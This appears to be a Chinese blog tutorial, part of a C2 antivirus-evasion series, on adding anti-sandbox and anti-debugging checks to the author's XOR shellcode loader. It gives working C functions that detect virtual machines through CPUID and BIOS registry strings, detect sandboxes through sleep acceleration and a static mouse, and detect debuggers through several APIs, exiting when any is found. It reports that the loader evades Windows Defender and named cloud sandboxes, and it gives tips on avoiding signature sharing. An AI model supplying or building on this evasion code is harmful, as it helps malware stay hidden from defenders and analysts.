【免杀】C2免杀技术(十六)反沙箱/反调试
反沙箱(Anti-Sandbox)和反调试(Anti-Debugging)是两种常用于恶意软件对抗分析与检测的技术手段,在网络攻防中,尤其是红队或APT中,广泛用于提升载荷隐蔽性和生存时间(dwell time)。
一、反沙箱(Anti-Sandbox)
恶意软件通过检测自身是否运行在沙箱(Sandbox)或虚拟化环境中,如果是,则终止执行或隐藏恶意行为,从而绕过自动化分析系统的检测。
常见检测点:
类别 | 方法举例 |
---|---|
硬件特征 | 检测显卡型号(无显卡或默认设备)、CPU 核心数、内存大小、磁盘大小 |
注册表值 | 查询 BIOS 信息、厂商名是否为 “VMware”, “VirtualBox” 等 |
驱动或进程 | 检查特定驱动(如 VBoxMouse.sys )、服务或进程是否存在 |
行为延迟 | 使用 Sleep() 或 RDTSC 测时间差,看是否被快进 |
用户行为 | 检查鼠标、键盘活动(如 GetLastInputInfo、mouse_event) |
网络环境 | 检测是否为 NAT/虚拟网卡,或者 DNS 解析特征 |
效果演示
1、在我之前的xor加载器(DF查杀)上加上以下反沙箱的检测功能
// VM/沙箱检测之:CPUID Hypervisor 位(判断是否在虚拟机中)
static BOOL DetectHypervisorByCpuid() {int cpuInfo[4] = { 0 };__cpuid(cpuInfo, 1);return ((cpuInfo[2] >> 31) & 0x1) != 0;
}// VM/沙箱检测之:注册表中查看 BIOS Vendor/Version(判断是否在虚拟机中)
static BOOL DetectHypervisorByRegistry() {HKEY hKey = NULL;char buf[128] = { 0 };DWORD bufSize = sizeof(buf);LONG ret;ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,"HARDWARE\\DESCRIPTION\\System\\BIOS",0, KEY_READ, &hKey);if (ret == ERROR_SUCCESS) {ret = RegQueryValueExA(hKey,"SystemManufacturer",NULL, NULL,(LPBYTE)buf, &bufSize);if (ret == ERROR_SUCCESS) {if (strstr(buf, "VMware") ||strstr(buf, "VirtualBox") ||strstr(buf, "Virtual Machine") ||strstr(buf, "Xen") ||strstr(buf, "QEMU")) {RegCloseKey(hKey);return TRUE;}}RegCloseKey(hKey);}bufSize = sizeof(buf);memset(buf, 0, bufSize);ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,"HARDWARE\\DESCRIPTION\\System\\BIOS",0, KEY_READ, &hKey);if (ret == ERROR_SUCCESS) {ret = RegQueryValueExA(hKey,"SystemBiosVersion",NULL, NULL,(LPBYTE)buf, &bufSize);if (ret == ERROR_SUCCESS) {if (strstr(buf, "VMware") ||strstr(buf, "VBox") ||strstr(buf, "QEMU") ||strstr(buf, "Xen")) {RegCloseKey(hKey);return TRUE;}}RegCloseKey(hKey);}return FALSE;
}// “Sleep 加速”检测(简单沙箱检测:测量真实延时是否被跳过)
static BOOL IsSleepAccelerated() {ULONGLONG t1 = GetTickCount64();Sleep(4000);ULONGLONG t2 = GetTickCount64();return (t2 - t1 < 3500);
}// “鼠标坐标多次采样”检测(短时间内连续采样,若一直不动则视作无人操作/沙箱)
static BOOL IsMouseStaticForDuration() {const int SAMPLE_COUNT = 3;const DWORD SLEEP_INTERVAL = 2000; // 2 秒POINT prev = { 0 }, curr = { 0 };if (!GetCursorPos(&prev)) {return TRUE; // 无法获取鼠标坐标,视作可疑}for (int i = 0; i < SAMPLE_COUNT; i++) {Sleep(SLEEP_INTERVAL);if (!GetCursorPos(&curr)) {return TRUE;}if (curr.x != prev.x || curr.y != prev.y) {return FALSE; // 发现移动,视为真机}prev = curr;}return TRUE; // 连续静止,疑似沙箱/无人操作
}
VS直接测试,功能没问题,可以正常上线
2、编译,拉到虚拟机上,DF没有报毒,双击运行,成功检测到虚拟机,退出程序
3、放到微步沙箱和安恒沙箱检测,结果如下:
微步测了好几次,时红时绿(代码可能还需要优化,但是说明还是有效果的)
安恒,绿
另外,安恒沙箱运行截图显示,sleep被加速了(所以,检查sleep还是很有必要的!)
微步沙箱运行截图显示,鼠标被检测了(同样,说明这个检测点也有点用),时红时绿应该就在鼠标这一块,代码优化一下应该能过!
对比未加反沙箱检测的原xor加载器:
二、反调试(Anti-Debugging)
反调试技术用于检测调试器的存在,并干扰分析人员使用调试工具(如 OllyDbg、x64dbg、WinDbg)分析恶意行为。
常见技术:
类型 | 举例 |
---|---|
API 调用检测 | 使用 IsDebuggerPresent() 、CheckRemoteDebuggerPresent() |
PEB 检查 | 读取 PEB->BeingDebugged |
异常处理 | 触发非法操作,看调试器是否介入(如 INT 3、除0) |
时间检测 | GetTickCount() / QueryPerformanceCounter() 检查延迟 |
堆栈伪装 | 修改返回地址,破坏调试器堆栈分析 |
Hook 检测 | 检查常见 API 是否被下断点或 Hook |
输出错误行为 | 输出调试字符串 OutputDebugString() ,看响应时间或结果 |
效果演示
在上述反沙箱加载器代码中加入反调试功能,这里直接集成三种常用的基础反调试手段:
1、IsDebuggerPresent(API 检测)
2、CheckRemoteDebuggerPresent(API 检测)
3、NtQueryInformationProcess 检测 DebugPort(低层检测)
// 反调试检测(弹窗提示,进程自毁)
static void AntiDebugCheck()
{// 1. IsDebuggerPresentif (IsDebuggerPresent()) {ShowMessage("[!] 调试器存在 - IsDebuggerPresent()");ExitProcess(0);}// 2. CheckRemoteDebuggerPresentBOOL bDebugger = FALSE;CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebugger);if (bDebugger) {ShowMessage("[!] 调试器存在 - CheckRemoteDebuggerPresent()");ExitProcess(0);}// 3. NtQueryInformationProcess 检测 DebugPorttypedef NTSTATUS(WINAPI* PNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);PNtQueryInformationProcess NtQueryInformationProcess =(PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");if (NtQueryInformationProcess) {DWORD_PTR debugPort = 0;NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(),(PROCESSINFOCLASS)7, // ProcessDebugPort&debugPort,sizeof(debugPort),NULL);if (NT_SUCCESS(status) && debugPort != 0) {ShowMessage("[!] 调试器存在 - NtQueryInformationProcess(DebugPort)");ExitProcess(0);}}
}
测试,可以正常上线
由于加了反调试,因此VS里面的调试器直接弹窗,退出程序
使用x64dbg人工分析,也是弹窗自毁
改名1.exe,再次放到云沙箱检测
三、两者的联系和区别
在实际攻击中,通常是混合使用反沙箱 + 反调试,形成一套完整的反分析链。
比较点 | 反沙箱 | 反调试 |
---|---|---|
目标 | 绕过自动分析环境 | 绕过人工/自动调试 |
场景 | 对抗动态分析(自动化) | 对抗逆向分析(人工或自动) |
检测指标 | 硬件、行为、注册表、输入等 | 调试器、异常、API、时间戳等 |
使用目的 | 延迟执行、拒绝执行 | 迷惑分析、使调试崩溃 |
四、注意事项
1、编译设置运行库为MT,下面是MT和MD检测对比
2、检查真机 Hyper-V 特性是否开启
在许多 Windows 10/11 物理机上,即使不跑在 Hyper-V 客户机里,只要开启了 Hyper-V 特性,Hypervisor 位也是 1。 所以,如果你是这种情况,仅靠 Hypervisor 位没法区分“真正的沙箱/虚拟机”与“你的真机!可以使用下面的程序,在真机上检查一下,再做调整。
#include <windows.h>
#include <intrin.h>
#include <stdio.h>int main()
{int cpuInfo[4] = { 0 };char vendor[13] = { 0 };// 先检查 Hypervisor 位__cpuid(cpuInfo, 1);if (((cpuInfo[2] >> 31) & 0x1) == 0) {printf("当前系统:Hypervisor 位 = 0,肯定是物理机。\n");}else {// 读取叶子 0x40000000__cpuid(cpuInfo, 0x40000000);memcpy(&vendor[0], &cpuInfo[1], 4);memcpy(&vendor[4], &cpuInfo[2], 4);memcpy(&vendor[8], &cpuInfo[3], 4);vendor[12] = '\0';printf("检测到 Hypervisor 位 = 1,Vendor ID = \"%s\"\n", vendor);}getchar();return 0;
}
真机运行截图:
虚拟机运行截图:
3、代码尽量简单,能达到目的就行。有时功能加的多反而增减被检测的概率!
4、注意时效性。云沙箱检测流程具有特征同步机制:当你的文件被平台判定为恶意程序时,该特征数据会通过安全厂商的云端网络实时分发,最终导致你的本地杀毒软件在短期内也能识别该威胁。
以下是我6月4号,360杀毒和卫士检测的截图,间隔检测了好几次都是正常的
当天检测完,我就上传到了微步和安恒云沙箱检测飘红。两天后本地也查杀了
五、文末
反沙箱和反调试这一块主要对抗的是沙箱检测和蓝队人工分析。另外,除本文涉及到的方法,这一块还有很多其它手法,特别灵活,某些手段很有创意,诸位师傅自行探索!